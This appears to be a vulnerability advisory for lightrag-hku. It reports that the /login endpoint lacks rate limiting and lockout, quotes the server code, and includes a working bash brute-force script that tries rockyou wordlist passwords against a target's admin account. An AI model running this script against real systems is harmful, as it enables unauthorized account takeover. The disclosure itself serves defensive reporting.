lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks

Summary

The POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.

Details

```python

lightrag/api/lightrag_server.py:2161

@app.post("/login")

async def login(form_data: OAuth2PasswordRequestForm = Depends()):

if not auth_handler.verify_password(username, form_data.password):

raise HTTPException(status_code=401, detail="Incorrect credentials")

# No: rate limit / lockout / backoff / CAPTCHA / attempt counter

`

A search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.

PoC

```bash

Brute-force /login with a wordlist, no throttling

while IFS= read -r pass; do

code=$(curl -s -o /dev/null -w "%{http_code}" \

-X POST http://<TARGET>:9621/login \

-d "username=admin&password=${pass}")

[ "$code" = "200" ] && echo "[FOUND] $pass" && break

done < /usr/share/wordlists/rockyou.txt

`

Impact

Improper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.